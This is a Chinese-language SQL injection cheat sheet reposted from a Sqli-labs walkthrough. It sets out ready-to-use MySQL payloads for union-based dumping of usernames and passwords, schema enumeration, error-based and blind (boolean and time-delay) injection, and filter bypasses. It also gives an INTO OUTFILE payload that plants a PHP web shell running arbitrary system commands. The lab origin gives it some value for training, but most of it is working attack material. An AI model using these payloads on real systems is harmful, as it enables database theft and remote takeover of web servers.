SQL注入

    xiaoxiao2022-07-07  211

    转自:https://wywwzjj.top/2018/11/02/Sqli-labs-通关记录/#函数报错信息注入

    MySQL 常用语句备忘

    -- Default Databases mysql Requires root privileges information_schema Available from version 5 and higher Comment Out Query # /**/ -- - ; ` select user(); -- 数据库用户名 select version(); -- MySQL版本 select database(); -- 数据库名 select @@basedir; -- 数据库安装路径 select @@datadir; -- 数据存储路径 select @@version_compile_os; -- 操作系统版本 show global variables like '%secure%'; -- if(expr,v1,v2) -- expr正确则v1,否则v2 select case when expr then v1 else v2 end; -- 与 if 功能相同 select concat('11', '22', '33'); -- 字符串连接 112233 select concat_ws(x, s1,s2...sn) -- 以 x 作为连接符,将字符串连接 select group_concat() -- 把查询出来的多行连接起来 select mid(str, start, count) -- 从start开始截取count个字符 select substr(database(), 1, 1) -- 与mid同 # 如果用不了逗号,直接 from start for count # union select * from (select 1)a join (select 2)b == union select 1,2 select left(str, count) -- 截取左边count个字符 select ord() -- 返回第一个字符的ASCII码 select ascii() -- 与ord同 select char(32, 58, 32) -- ' : ' 即空格+ : +空格 select length(database()); delete from table_name where id=1; -- 不加限制条件将删除整张表 drop database ds_name; drop column column_name; alter table table_name; update table_name set column_name='new' where id=1; -- 更新 /*!50000select*/ where id = 0.1 union select ... xor, ||, &&, !, not,<>

    注入类型

    union 注入 所查询的字段数需与主查询一致 字段数可先用 order by x 来确定

    union select 1, 2 from user where id = 1 or 1=1

    information_schema 注入 存储数据库信息的数据库

    数据库名 schemata => schema_name tables => table_schema columns => table_schema 表名 tables => table_name columns => table_name 列名 columns => column_name select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取当前数据库中所有表 select 1,group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167; -- 获得所有列名(字段),table_name 参数进行十六进制编码后可绕过引号被过滤 -1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # -- 下载数据 -1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # -- 获取表中的字段名

    函数报错信息注入

    前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端

    常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入

    and (extractvalue(1,concat(0x7e,(select user()),0x7e)));# and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);#

    基于函数报错信息获取(select, insert, update, delete)

    insert / update / delete 注入 结合函数报错信息,将函数插入到语句中

    http header 注入 如 XFF,referer 观察点:后台收集了请求头中的信息,并存入到数据库中

    布尔盲注 结合 and 进行逻辑判断 效率太低,写脚本爆

    时间盲注 无显示回显,可在以前的基础上加入 sleep() 语句,若明显延迟,则注入成功

    BENCHMARK(count,expr) 执行 count 次的 expr,如 BENCHMARK(10000000,SHA(‘1’))

    即使 sleep 和 benchmark 都被过滤了,但是我们依然可以通过让Mysql进行复杂运算, 以达到延时的效果,比如可以用字段比较多的表来计算笛卡尔积

    select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C#

    还有 get_lock()

    利用注入写入后门

    前提:开启 secure_file_priv,并且具有写的权限

    select 1,2,'<?php system($_GET[1])?>' into outfile 'H:\\a.php'--

    Bypass 检测被过滤的关键词:

    fuzz 一波 ASCII 码id = 1 ^ (length(‘xxx’)=3)

    空格

    使用注释绕过,// (/\1/)使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用 ( ) 包围 select(group_concat(table_name)) from(information_schema.tables) where(table_schema=database()) 使用符号替代空格 空格 TAB 键(水平) TAB 键(垂直) return 功能 新的一页
    转载请注明原文地址: https://yun.8miu.com/read-27598.html
    最新回复(0)